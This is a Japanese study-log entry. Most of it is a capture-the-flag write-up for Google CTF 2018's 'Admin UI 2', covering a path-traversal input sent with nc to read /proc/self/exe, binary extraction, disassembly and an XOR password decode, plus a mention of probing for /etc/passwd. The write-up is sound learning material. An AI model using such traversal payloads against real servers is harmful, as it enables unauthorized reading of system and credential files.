2018/12/14

TOEIC

単語カードセット周回。追加0, 完了0

論文:Characterization of deep neural network features by decodability from human brain activity

全文流し読み終わり。まとめを書いた。

Google CTF Beginners Quest ADMIN UI 2

問題文にADMIN UIと同様のテクニックでパスワードを得られると書かれている。

WriteUp1やブログ記事2によると/proc/selfが現在実行中のプロセスへのシンボリックリンクになっているため、ここから実行コマンドを得る。(ここが分からなかった)

printf '2\n../../../../../proc/self/exe\n' | nc mngmnt-iface.ctfcompetition.com 1337 > admin-ui2
^C
$ binwalk -e --dd='.*' admin-ui2

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
182           0xB6            ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
98155         0x17F6B         Unix path: /usr/include/c++/7

$ mv _admin-ui2.extracted/B6 ./admin-ui2.elf

/proc/self/exeが実行中のプログラムであり、標準出力等の余計な文字列を取り除くためbinwalkでelfを取り出す。

$ nm ./admin-ui2.elf | grep -i flag
0000000041414a40 r _ZL4FLAG
0000000041414a2c r _ZL9FLAG_FILE
$ objdump -M intel -d ./admin-ui2.elf | grep -i flag | head
    4141422b:   48 8d 3d 31 08 00 00    lea    rdi,[rip+0x831]        # 41414a63 <_ZL4FLAG+0x23>
    4141429a:   48 8d 3d ca 07 00 00    lea    rdi,[rip+0x7ca]        # 41414a6b <_ZL4FLAG+0x2b>
    414142ca:   48 8d 35 9d 07 00 00    lea    rsi,[rip+0x79d]        # 41414a6e <_ZL4FLAG+0x2e>
----- snip -----

nmやobjdumpでシンボル_ZL4FLAGが確認でき、怪しいため内容を確認する。

$ gdb -batch -ex 'x/s _ZL4FLAG' ./admin-ui2.elf
0x41414a40 <_ZL4FLAG>:  "\204\223\201\274\223\260\250\230\227\246\264\224\260\250\265\203\275\230\205\242\263\263\242\265\230\263\257\363\251\230\366\230\254\370\272/bin/sh"

この文字列をそのままdecodeするとエラーとなる。実行時に何らかの処理が加わっている可能性があるため逆アセンブルし確認。今回はIDAを用いた。

1.png

ADMIN UI 2のパスワード処理部分。アセンブリに慣れていないためコメントを付け読み込む。ここではアドレスのコピーをロード、値のコピーをコピーと呼んでいる。

password= byte ptr -90h
l= qword ptr -10h
i= qword ptr -8

lea     rax, [rbp+password] ; raxにパスワード入力箇所をロード
mov     rsi, rax            ; rsiにraxをコピー。scanfの第2引数となる
lea     rdi, a127s          ; "%127s", rdiに"%127s"をロード。_scanfの第1引数となる
mov     eax, 0              ; eaxに0をコピー。ここにscanfの返り値が入る
call    _scanf
lea     rax, [rbp+password] ; raxにパスワード入力箇所をロード
mov     rdi, rax            ; s, rdiにrax(=変数password)の値をコピー。strlenの第1引数となる
call    _strlen
mov     [rbp+l], rax        ; rbp+lにrax(=strlenの返り値)をコピー
mov     [rbp+i], 0          ; rbp+iに0をコピー

loc_4141449F:
mov     rax, [rbp+i]        ; raxにrbp+iの値をコピー
cmp     rax, [rbp+l]        ; raxとrbp+l(=変数passwordの値の長さ)を比較
jnb     short loc_414144D6  ; rax < rbp+lであれば以下のコードへ

lea     rdx, [rbp+password] ; rdxにpasswordをロード
mov     rax, [rbp+i]        ; raxにrbp+iの値をコピー
add     rax, rdx            ; raxにrdx(=password)の値を足す(=raxがpassword[i]のアドレスとなる)
movzx   eax, byte ptr [rax] ; raxのうち1バイトをeaxにコピー(=eaxにpassword[i]の値をコピー)
xor     eax, 0FFFFFFC7h     ; eaxと0FFFFFFC7hでxorを取った値をeaxにコピー
mov     ecx, eax            ; ecxにeaxの値をコピー
lea     rdx, [rbp+password] ; rdxにpasswordをロード
mov     rax, [rbp+i]        ; rbp+iの値をraxにコピー
add     rax, rdx            ; raxにrdxの値を足す
mov     [rax], cl           ; ?
add     [rbp+i], 1          ; rbp+iに1を足す
jmp     short loc_4141449F

要するに、以下のようにpasswordの各値と0xC7をxorしている。

scanf("%127s", password);
l = strlen(password):
for(i = 0; i < l; ++i) password[i] ^= 0xC7u;

同様の処理を先程得た_ZL4FLAGの値へ行い、再度decodeを試すとフラグを得る。

$ cat decode.py
password = ''
for b in b'\204\223\201\274\223\260\250\230\227\246\264\224\260\250\265\203\275\230\205\242\263\263\242\265\230\263\257\363\251\230\366\230\254\370\272/bin/sh':
    password += chr(ord(b) ^ ord(b'\xc7'))
print(password)
$ python decode.py
CTF{DUMMY_FLAG}襮贯

当初/etc/passwd以外にヒントとなるファイルが無いかをPath Traversal Cheat Sheet3を用いて探したが、成果は無かった。


  1. CTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner’s Quest - Admin UI2 / Writeup
  2. /proc/self/exe | asdfのネタ帳
  3. Path Traversal Cheat Sheet: Linux — GracefulSecurity